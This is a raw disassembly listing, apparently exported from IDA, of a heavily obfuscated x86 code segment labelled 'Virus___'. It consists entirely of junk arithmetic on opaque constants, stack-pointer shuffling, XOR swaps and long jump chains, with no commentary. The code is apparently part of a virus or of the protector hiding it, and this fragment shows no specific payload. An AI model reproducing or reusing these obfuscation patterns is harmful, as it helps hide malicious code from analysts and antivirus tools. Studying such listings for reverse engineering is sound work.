loc_58E536:				; CODE XREF: Virus___:00593705j
		mov	esp, [esp]
		jmp	loc_590FB6
; ---------------------------------------------------------------------------


loc_58E53E:				; CODE XREF: Virus___:00589316j
		xor	[esp], dx
		mov	ax, [esp]
		jmp	loc_58D6A8
; ---------------------------------------------------------------------------


loc_58E54B:				; CODE XREF: Virus___:00593E99j
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_586A33
; ---------------------------------------------------------------------------


loc_58E557:				; CODE XREF: Virus___:00588293j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 436044A2h
		inc	eax
		shr	eax, 7
		push	edi
		mov	edi, 86C08Dh
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_587566
; ---------------------------------------------------------------------------


loc_58E583:				; CODE XREF: Virus___:0057F800j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		add	edi, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_582103
; ---------------------------------------------------------------------------


loc_58E5B5:				; CODE XREF: Virus___:0058E5E4j
		pop	esi
		shr	esi, 5
		jmp	loc_591791
; ---------------------------------------------------------------------------


loc_58E5BE:				; CODE XREF: Virus___:0058D5B6j
		push	esi
		mov	esi, 0D9DF6FE3h
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, edi
		pop	edi
		xor	edx, eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58E5D6:				; CODE XREF: Virus___:005921D4j
		mov	ecx, [esp]
		jmp	loc_590A97
; ---------------------------------------------------------------------------


loc_58E5DE:				; CODE XREF: Virus___:00589522j
		xchg	edx, [esp]
		inc	dword ptr [esp]
		jmp	loc_58E5B5
; ---------------------------------------------------------------------------


loc_58E5E9:				; CODE XREF: Virus___:00586D56j
		add	eax, edx
		add	eax, 574C0422h
		push	ebp
		mov	ebp, 0D370D17h
		sub	ebp, 2D4454F5h
		shr	ebp, 3
		inc	ebp
		and	ebp, 6BD95561h
		jmp	loc_58CAAC
; ---------------------------------------------------------------------------


loc_58E60B:				; CODE XREF: Virus___:0058B2E6j
		mov	ebp, esp
		push	ebx
		mov	ebx, 4D797FA2h
		neg	ebx
		jmp	loc_584FFD
; ---------------------------------------------------------------------------


loc_58E61A:				; CODE XREF: Virus___:00582C88j
		mov	[esp], edi
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	edi
		shr	edi, 8
		add	edi, 0FF4B6760h
		jmp	loc_5875B3
; ---------------------------------------------------------------------------


loc_58E634:				; CODE XREF: Virus___:0058B434j
		not	ecx
		inc	ecx
		jmp	loc_588919
; ---------------------------------------------------------------------------


loc_58E63C:				; CODE XREF: Virus___:0057FDFCj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_58DFD2
; ---------------------------------------------------------------------------


loc_58E64C:				; CODE XREF: Virus___:0058168Cj
		sub	edi, 473CE97Eh
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 38BC5ADCh
		and	ecx, 76654B03h
		jmp	loc_583FF3
; ---------------------------------------------------------------------------


loc_58E66B:				; CODE XREF: Virus___:0058E997j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_58F3AB
; ---------------------------------------------------------------------------


loc_58E679:				; CODE XREF: Virus___:00589761j
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58EDD5
; ---------------------------------------------------------------------------


loc_58E68F:				; CODE XREF: Virus___:00583CAEj
		mov	eax, 3FEA326Bh
		sub	ebp, eax
		jmp	loc_58DDC9
; ---------------------------------------------------------------------------


loc_58E69B:				; CODE XREF: Virus___:00583216j
		push	ebx
		push	794Eh
		mov	[esp], ebp
		push	esi
		mov	esi, 31D33B63h
		dec	esi
		xor	esi, 1B3E40BCh
		add	esi, 38706702h
		dec	esi
		sub	esi, 0FDD2D3D8h
		mov	ebp, esi
		pop	esi
		jmp	loc_584DB6
; ---------------------------------------------------------------------------


loc_58E6C6:				; CODE XREF: Virus___:0059014Dj
		pop	ecx
		add	ecx, 284E6253h
		add	ecx, edx
		push	ebx
		mov	ebx, 0B6B0B6Dh
		jmp	loc_581F63
; ---------------------------------------------------------------------------


loc_58E6DA:				; CODE XREF: Virus___:00581714j
		push	2B5h
		mov	[esp], esp
		push	ebx
		mov	ebx, 54103976h
		or	ebx, 29043564h
		inc	ebx
		and	ebx, 77337B51h
		jmp	loc_58C7D2
; ---------------------------------------------------------------------------


loc_58E6FA:				; CODE XREF: Virus___:005859EAj
		mov	ebp, 41783DEEh
		xor	ebp, eax
		jmp	loc_58FA42
; ---------------------------------------------------------------------------


loc_58E706:				; CODE XREF: Virus___:0058DF15j
		sub	ecx, 109B075Fh
		pop	ebp
		push	1B4E0288h
		pop	ebx
		add	ebx, 6E8854A5h
		sub	ebx, ecx
		push	edx
		mov	edx, 4FBA1BD1h
		jmp	loc_58C4A0
; ---------------------------------------------------------------------------


loc_58E726:				; CODE XREF: Virus___:0058820Fj
		add	edi, 0FFFFFFFFh
		add	edi, 7FE25F8Ch
		jmp	loc_584101
; ---------------------------------------------------------------------------


loc_58E737:				; CODE XREF: Virus___:00586636j
		shr	dl, 6
		xor	dl, 64h
		sub	bh, dl
		jmp	loc_592998
; ---------------------------------------------------------------------------


loc_58E744:				; CODE XREF: Virus___:005825F8j
		sub	eax, 5C1F367Ch
		add	eax, ebx
		push	ecx
		push	esi
		push	694C5B2Eh
		pop	esi
		xor	esi, 51DB583Bh
		jmp	loc_588402
; ---------------------------------------------------------------------------


loc_58E75E:				; CODE XREF: Virus___:005876BAj
		add	al, 5Ah
		pop	edx
		jmp	loc_589A6E
; ---------------------------------------------------------------------------


loc_58E766:				; CODE XREF: Virus___:0058B897j
		push	eax
		jmp	loc_58DFE1
; ---------------------------------------------------------------------------


loc_58E76C:				; CODE XREF: Virus___:0058BA82j
		pop	edi
		jmp	loc_58CEB2
; ---------------------------------------------------------------------------


loc_58E772:				; CODE XREF: Virus___:0058FCF9j
		pop	ecx
		mov	edx, [esp]
		jmp	loc_59438A
; ---------------------------------------------------------------------------


loc_58E77B:				; CODE XREF: Virus___:0058D48Dj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58CC5B
; ---------------------------------------------------------------------------


loc_58E797:				; CODE XREF: Virus___:00584A76j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	eax, 35030B7Fh
		push	476Eh
		jmp	loc_582A31
; ---------------------------------------------------------------------------


loc_58E7AF:				; CODE XREF: Virus___:00585926j
		neg	edx
		add	edx, 4FB4C5C4h
		sub	esi, edx
		jmp	loc_585CA5
; ---------------------------------------------------------------------------


loc_58E7BE:				; CODE XREF: Virus___:00587C8Dj
		sub	ecx, 77DF3EFBh
		add	esi, 19DE0300h
		add	esi, ecx
		push	ebx
		mov	ebx, 2DBD67EFh
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		not	ebx
		jmp	loc_58E36B
; ---------------------------------------------------------------------------


loc_58E7DF:				; CODE XREF: Virus___:0058B78Ej
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58DBAB
; ---------------------------------------------------------------------------


loc_58E7EF:				; CODE XREF: Virus___:00584909j
		xor	eax, 0E351B3E2h
		shr	eax, 1
		shr	eax, 4
		push	ebx
		jmp	loc_587588
; ---------------------------------------------------------------------------


loc_58E7FF:				; CODE XREF: Virus___:00584932j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_582828
; ---------------------------------------------------------------------------


loc_58E80E:				; CODE XREF: Virus___:00584CB3j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_581FE3
; ---------------------------------------------------------------------------


loc_58E81A:				; CODE XREF: Virus___:00583F21j
		pop	edi
		or	edx, eax
		pop	eax
		add	edx, 0D1B8F643h
		add	eax, edx
		pop	edx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	6046h
		jmp	loc_581760
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_582282
; ---------------------------------------------------------------------------


loc_58E840:				; CODE XREF: Virus___:0058C206j
		pop	esi
		jmp	loc_5847EB
; ---------------------------------------------------------------------------


loc_58E846:				; CODE XREF: Virus___:0058F477j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_592B96
; ---------------------------------------------------------------------------


loc_58E84F:				; CODE XREF: Virus___:0058CB70j
		mov	esp, [esp]
		xor	ebx, eax
		push	cx
		jmp	loc_588DCA
; ---------------------------------------------------------------------------


loc_58E85B:				; CODE XREF: Virus___:005840BFj
		sub	ecx, 6CBA0DF5h
		pop	esi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	30FEh
		mov	[esp], eax
		xchg	ecx, [esp]
		not	ecx
		jmp	loc_591E70
; ---------------------------------------------------------------------------


loc_58E884:				; CODE XREF: Virus___:0058103Bj
		mov	[esp], ebp
		push	esi
		jmp	loc_5902A3
; ---------------------------------------------------------------------------


loc_58E88D:				; CODE XREF: Virus___:0058478Dj
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	eax, 115C3950h
		push	dword ptr [edi+eax*4]
		push	4298h
		mov	[esp], ebx
		mov	ebx, 3CFE712Dh
		xor	[esp+4], ebx
		jmp	loc_59208A
; ---------------------------------------------------------------------------


loc_58E8B4:				; CODE XREF: Virus___:0058343Aj
		push	ebx
		mov	ebx, 7AD66E8Eh
		sub	ebp, ebx
		jmp	loc_58101A
; ---------------------------------------------------------------------------


loc_58E8C1:				; CODE XREF: Virus___:0058BD2Aj
		or	edi, esi
		pop	esi
		sub	edi, 3037653Eh
		jmp	loc_582088
; ---------------------------------------------------------------------------


loc_58E8CF:				; CODE XREF: Virus___:0058744Bj
		pop	ebp
		sub	eax, ebx
		jmp	loc_592F43
; ---------------------------------------------------------------------------


loc_58E8D7:				; CODE XREF: Virus___:0058F701j
		add	eax, 1102708Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_580ADF
; ---------------------------------------------------------------------------


loc_58E8E7:				; CODE XREF: Virus___:005891ACj
		pop	edi
		jmp	loc_586E5A
; ---------------------------------------------------------------------------


loc_58E8ED:				; CODE XREF: Virus___:005907A4j
		or	ecx, 4E015277h
		or	ecx, 36D63DD9h
		add	ecx, 69466149h
		jmp	loc_58BDFA
; ---------------------------------------------------------------------------


loc_58E904:				; CODE XREF: Virus___:0058BBC8j
		push	edi
		mov	edi, 0E8C5545h
		not	edi
		xor	edi, 7CD82FF5h
		push	ebp
		mov	ebp, 6AF662A8h
		jmp	loc_589C20
; ---------------------------------------------------------------------------


loc_58E91D:				; CODE XREF: Virus___:0058B684j
		sub	ebx, 1E024B46h
		add	ebx, 74A362C0h
		jmp	loc_591F7A
; ---------------------------------------------------------------------------


loc_58E92E:				; CODE XREF: Virus___:0057FAE5j
		shl	edi, 3
		push	ebx
		mov	ebx, 360F5027h
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 0E9F145D9h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, ebx
		mov	eax, [edx]
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	dword ptr [esp], 98B0DD0h
		push	57E1h
		mov	[esp], edi
		mov	edi, 7FE91D8Ah
		jmp	loc_58BC50
; ---------------------------------------------------------------------------


loc_58E975:				; CODE XREF: Virus___:0058D812j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58E97A:				; CODE XREF: Virus___:00592BB8j
		mov	bh, ch
		jmp	loc_59219E
; ---------------------------------------------------------------------------


loc_58E981:				; CODE XREF: Virus___:00581905j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58E66B
; ---------------------------------------------------------------------------


loc_58E99C:				; CODE XREF: Virus___:0058B420j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_58FE48
; ---------------------------------------------------------------------------


loc_58E9B4:				; CODE XREF: Virus___:00582C64j
		add	ebx, 9EFE3951h
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		pop	edi
		jmp	loc_591D3A
; ---------------------------------------------------------------------------


loc_58E9C5:				; CODE XREF: Virus___:0058C2BEj
		dec	ecx
		jmp	loc_593444
; ---------------------------------------------------------------------------


loc_58E9CB:				; CODE XREF: Virus___:0059272Ej
		sub	edx, 73BE3935h
		jmp	loc_582B50
; ---------------------------------------------------------------------------


loc_58E9D6:				; CODE XREF: Virus___:0059288Fj
		add	edx, 4
		jmp	loc_585E45
; ---------------------------------------------------------------------------


loc_58E9DE:				; CODE XREF: Virus___:0058C4D3j
		mov	eax, 2
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_581FBA
; ---------------------------------------------------------------------------


loc_58E9F7:				; CODE XREF: Virus___:00583C68j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_58203A
; ---------------------------------------------------------------------------


loc_58EA08:				; CODE XREF: Virus___:0058EEFCj
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 61121FC1h
		dec	ecx
		neg	ecx
		not	ecx
		and	ecx, 6C32553Dh
		sub	ecx, 60121539h
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58BAFE
; ---------------------------------------------------------------------------


loc_58EA36:				; CODE XREF: Virus___:005907DFj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_58CCAF
; ---------------------------------------------------------------------------


loc_58EA41:				; CODE XREF: Virus___:0057FCB8j
		pop	edi
		jmp	loc_582DB4
; ---------------------------------------------------------------------------


loc_58EA47:				; CODE XREF: Virus___:00591625j
		pop	edx
		xor	ah, 34h
		push	edx
		jmp	loc_59352F
; ---------------------------------------------------------------------------


loc_58EA51:				; CODE XREF: Virus___:0058D263j
		mov	esi, [esp]
		jmp	loc_583332
; ---------------------------------------------------------------------------


loc_58EA59:				; CODE XREF: Virus___:00583E3Aj
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58429B
; ---------------------------------------------------------------------------


loc_58EA66:				; CODE XREF: Virus___:005868F1j
		add	ebx, edx
		pop	edx
		mov	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 32B44EFCh
		sub	esi, 16618DBh
		sub	edx, esi
		jmp	loc_57F61E
; ---------------------------------------------------------------------------


loc_58EA7F:				; CODE XREF: Virus___:00588322j
		mov	esp, [esp]
		div	ecx
		jmp	loc_581C26
; ---------------------------------------------------------------------------


loc_58EA89:				; CODE XREF: Virus___:00582083j
		push	ebp
		push	esi
		mov	esi, 4
		mov	ebp, esi
		jmp	loc_588430
; ---------------------------------------------------------------------------


loc_58EA97:				; CODE XREF: Virus___:0058B695j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58ADDE
; ---------------------------------------------------------------------------


loc_58EAA0:				; CODE XREF: Virus___:0058DF9Fj
		push	3CDE743Eh
		pop	edi
		shr	edi, 1
		or	edi, 20EF584Fh
		jmp	loc_58291A
; ---------------------------------------------------------------------------


loc_58EAB3:				; CODE XREF: Virus___:0058D155j
		add	eax, 8D405338h
		or	edi, eax
		pop	eax
		and	edi, 17145117h
		push	ecx
		mov	ecx, 0E29BE094h
		sub	edi, 3F6026F0h
		jmp	loc_592ADF
; ---------------------------------------------------------------------------


loc_58EAD2:				; CODE XREF: Virus___:0058D761j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_592DEF
; ---------------------------------------------------------------------------


loc_58EAF7:				; CODE XREF: Virus___:00581973j
		push	esi
		mov	esi, 2
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	47FEh
		jmp	loc_58EFD4
; ---------------------------------------------------------------------------


loc_58EB12:				; CODE XREF: Virus___:005910E9j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	1000000h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, ecx
		jmp	loc_58F565
; ---------------------------------------------------------------------------


loc_58EB3D:				; CODE XREF: Virus___:0058AD4Ej
		not	ecx
		shr	ecx, 8
		not	ecx
		xor	ecx, 42F70589h
		and	ecx, 98015B5h
		add	ecx, 0F87FEB6Bh
		mov	ebp, ecx
		pop	ecx
		push	1BA2h
		mov	[esp], ebp
		add	dword ptr [esp], 7D99056Fh
		push	dword ptr [esp]
		jmp	loc_592301
; ---------------------------------------------------------------------------


loc_58EB70:				; CODE XREF: Virus___:005820BAj
		add	eax, 2
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	6A0Eh
		mov	[esp], ebx
		push	12D3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_587C5E
; ---------------------------------------------------------------------------


loc_58EBA2:				; CODE XREF: Virus___:005856C3j
		xor	eax, ebp
		pop	ebp
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 6
		push	77E2h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	7DE0h
		mov	[esp], ebx
		push	edi
		jmp	loc_58B9FF
; ---------------------------------------------------------------------------


loc_58EBF7:				; CODE XREF: Virus___:0058157Bj
		add	eax, 4
		push	ebp
		mov	ebp, 58D77DCCh
		add	ebp, 33E16138h
		sub	ebp, 30363DFFh
		jmp	loc_585328
; ---------------------------------------------------------------------------


loc_58EC13:				; CODE XREF: Virus___:00581D3Dj
		pop	esp
		jmp	loc_592E98
; ---------------------------------------------------------------------------


loc_58EC19:				; CODE XREF: Virus___:005914A0j
		mov	edx, 0CE74A3BCh
		sub	ebp, edx
		pop	edx
		mov	eax, ebp
		pop	ebp
		add	dword ptr [esp+8], 0BEA28FDh
		add	dword ptr [esp+8], 3FC22DAh
		jmp	loc_588F81
; ---------------------------------------------------------------------------


loc_58EC39:				; CODE XREF: Virus___:0058DF74j
		push	5F97h
		mov	[esp], ecx
		jmp	loc_583E94
; ---------------------------------------------------------------------------


loc_58EC46:				; CODE XREF: Virus___:0058DA81j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 6048710Bh
		inc	esi
		jmp	loc_5819DB
; ---------------------------------------------------------------------------


loc_58EC5A:				; CODE XREF: Virus___:0058C6BAj
		push	esi
		mov	esi, 4
		jmp	loc_588D67
; ---------------------------------------------------------------------------


loc_58EC65:				; CODE XREF: Virus___:0058AB05j
		pop	ebx
		xor	edi, [esp]
		jmp	loc_5925FF
; ---------------------------------------------------------------------------


loc_58EC6E:				; CODE XREF: Virus___:0058378Dj
		add	eax, 25A23C3Bh
		push	ecx
		mov	ecx, 69713886h
		shr	ecx, 8
		xor	ecx, 627C5379h
		add	eax, ecx
		pop	ecx
		pop	edi
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_585BD0
; ---------------------------------------------------------------------------


loc_58EC95:				; CODE XREF: Virus___:00591A0Fj
		mov	ebx, esp
		push	ebp
		mov	ebp, 6C6D4B45h
		sub	ebp, 1
		jmp	loc_593A69
; ---------------------------------------------------------------------------


loc_58ECA5:				; CODE XREF: Virus___:0058C44Ej
		pop	ebx
		not	eax
		push	esi
		jmp	loc_584985
; ---------------------------------------------------------------------------


loc_58ECAE:				; CODE XREF: Virus___:0058F828j
		push	ecx
		push	ebx
		mov	ebx, 0E821A53h
		dec	ebx
		sub	ebx, 0E145E36Fh
		mov	ecx, ebx
		pop	ebx
		and	ecx, 4013F38h
		add	ecx, 0D7DD509h
		sub	esi, 52EE2F3Fh
		sub	esi, ecx
		add	esi, 52EE2F3Fh
		pop	ecx
		not	esi
		add	esi, 3C7D0797h
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 7FC0535Bh
		not	edx
		inc	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 226518Ah
		dec	eax
		shr	eax, 2
		or	eax, 194A1C80h
		or	eax, 3CD209F1h
		jmp	loc_588F52
; ---------------------------------------------------------------------------


loc_58ED17:				; CODE XREF: Virus___:0058AC98j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5898A3
; ---------------------------------------------------------------------------


loc_58ED21:				; CODE XREF: Virus___:0058F554j
		sub	edi, 408A3613h
		sub	edi, ebp
		push	edx
		mov	edx, 116E0D0Dh
		shr	edx, 1
		shl	edx, 6
		add	edx, 495E0E72h
		shr	edx, 7
		jmp	loc_587F9B
; ---------------------------------------------------------------------------


loc_58ED42:				; CODE XREF: Virus___:00580709j
		push	edx
		mov	edx, 41E547BAh
		shr	edx, 3
		dec	edx
		jmp	loc_58FD7D
; ---------------------------------------------------------------------------


loc_58ED51:				; CODE XREF: Virus___:005836AAj
		push	ecx
		mov	ecx, 4
		add	ebp, 509957E9h
		sub	ebp, ecx
		jmp	loc_589A49
; ---------------------------------------------------------------------------


loc_58ED64:				; CODE XREF: Virus___:005915E6j
		add	word ptr [esp],	2
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58ED6F:				; CODE XREF: Virus___:00592B91j
		pop	esp
		mov	dword ptr [ebx], 1
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58212F
; ---------------------------------------------------------------------------


loc_58ED84:				; CODE XREF: Virus___:00593460j
		mov	eax, 3C5403BEh
		push	ecx
		mov	ecx, 13A15E52h
		and	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_585066
; ---------------------------------------------------------------------------


loc_58ED98:				; CODE XREF: Virus___:00585763j
		add	ebp, 0E117F9F9h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	4D6Dh
		jmp	loc_581924
; ---------------------------------------------------------------------------


loc_58EDBB:				; CODE XREF: Virus___:00592F4Bj
		mov	esi, 52C272A9h
		dec	esi
		and	esi, 44240C51h
		sub	esi, 1
		add	esi, 0C1D100CDh
		jmp	loc_58D492
; ---------------------------------------------------------------------------


loc_58EDD5:				; CODE XREF: Virus___:0058E68Aj
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebx
		push	0F3Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	41F3h
		mov	[esp], esi
		jmp	loc_58B26F
; ---------------------------------------------------------------------------


loc_58EE08:				; CODE XREF: Virus___:0058A1AEj
		sub	edi, ecx
		jmp	loc_5924C6
; ---------------------------------------------------------------------------


loc_58EE0F:				; CODE XREF: Virus___:00592AD3j
		sub	ecx, 788EC175h
		xor	eax, ecx
		jmp	loc_58FDEC
; ---------------------------------------------------------------------------


loc_58EE1C:				; CODE XREF: Virus___:00583F3Ej
		mov	[esp], ebx
		mov	ebx, 3164428h
		mov	ebp, 2E421418h
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 1
		dec	ebp
		not	ebp
		jmp	loc_58BCFC
; ---------------------------------------------------------------------------


loc_58EE42:				; CODE XREF: Virus___:0058E36Dj
		xor	ebx, 42A4CCDEh
		jmp	loc_5883A5
; ---------------------------------------------------------------------------


loc_58EE4D:				; CODE XREF: Virus___:00592FB2j
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_580BFF
; ---------------------------------------------------------------------------


loc_58EE62:				; CODE XREF: Virus___:00587C80j
		add	esp, 4
		push	785Bh
		mov	[esp], esi
		add	dword ptr [esp], 5FA4037Eh
		pop	edx
		sub	edx, 5FA4037Eh
		pop	esi
		jmp	loc_584313
; ---------------------------------------------------------------------------


loc_58EE81:				; CODE XREF: Virus___:00582F19j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 1C087334h
		xor	edx, 4ED445D2h
		or	edx, 239B4945h
		sub	edx, 47510018h
		shl	edx, 1
		jmp	loc_57F5FD
; ---------------------------------------------------------------------------


loc_58EEA5:				; CODE XREF: Virus___:00587CBFj
		or	eax, 360832F4h
		sub	eax, 0FFFFFFFFh
		push	ecx
		push	esi
		mov	esi, 0C926F51h
		mov	ecx, esi
		jmp	loc_584EF4
; ---------------------------------------------------------------------------


loc_58EEBB:				; CODE XREF: Virus___:005919D5j
		pop	esp
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58BAD1
; ---------------------------------------------------------------------------


loc_58EECF:				; CODE XREF: Virus___:0058C6DEj
		add	ecx, 34C7549Ch
		sub	ecx, ebx
		push	ebp
		mov	ebp, 34C7549Ch
		jmp	loc_58A85F
; ---------------------------------------------------------------------------


loc_58EEE2:				; CODE XREF: Virus___:00580275j
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_58EA08
; ---------------------------------------------------------------------------


loc_58EF01:				; CODE XREF: Virus___:00592840j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_580232
; ---------------------------------------------------------------------------


loc_58EF15:				; CODE XREF: Virus___:00581118j
		push	7032h
		mov	[esp], ebx
		jmp	loc_5869BD
; ---------------------------------------------------------------------------


loc_58EF22:				; CODE XREF: Virus___:0058613Cj
		pop	eax
		push	ebx
		push	6C5Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_582A2B
; ---------------------------------------------------------------------------


loc_58EF38:				; CODE XREF: Virus___:00583CDCj
		add	edi, 7EFCB811h
		jmp	loc_58545A
; ---------------------------------------------------------------------------


loc_58EF43:				; CODE XREF: Virus___:0058F2E7j
		mov	[esp], edx
		jmp	loc_5840C4
; ---------------------------------------------------------------------------


loc_58EF4B:				; CODE XREF: Virus___:0058313Cj
		mov	esi, 0FFFFF579h
		jmp	loc_5881BD
; ---------------------------------------------------------------------------


loc_58EF55:				; CODE XREF: Virus___:005836B6j
		or	edi, edx
		jmp	loc_58820E
; ---------------------------------------------------------------------------


loc_58EF5C:				; CODE XREF: Virus___:00583636j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_57FCE7
; ---------------------------------------------------------------------------


loc_58EF67:				; CODE XREF: Virus___:005842D3j
		push	edi
		mov	edi, esp
		jmp	loc_58B024
; ---------------------------------------------------------------------------


loc_58EF6F:				; CODE XREF: Virus___:00584DC4j
		sub	ecx, ebx
		pop	ebx
		pop	esi
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5856BE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5889D8
; ---------------------------------------------------------------------------


loc_58EF90:				; CODE XREF: Virus___:0058F2A5j
		neg	ebx
		not	ebx
		jmp	loc_57F913
; ---------------------------------------------------------------------------


loc_58EF99:				; CODE XREF: Virus___:0058FF57j
		sub	ebx, ecx
		jmp	loc_58FD54
; ---------------------------------------------------------------------------


loc_58EFA0:				; CODE XREF: Virus___:0058327Aj
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 22832A88h
		jmp	loc_58965F
; ---------------------------------------------------------------------------


loc_58EFB1:				; CODE XREF: Virus___:0058CDC9j
		sub	edi, eax
		pop	eax
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	4E0Ch
		mov	[esp], ecx
		mov	ecx, 3312160Dh
		add	ebx, 4FBF2063h
		jmp	loc_58B53C
; ---------------------------------------------------------------------------


loc_58EFD4:				; CODE XREF: Virus___:0058EB0Dj
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58EFF0:				; CODE XREF: Virus___:005893EAj
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_586033
; ---------------------------------------------------------------------------


loc_58F000:				; CODE XREF: Virus___:0057FFECj
		xchg	edi, ecx
		not	edi
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	edi, edx
		pop	edx
		xchg	edi, ecx
		jmp	loc_580F99
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_586054
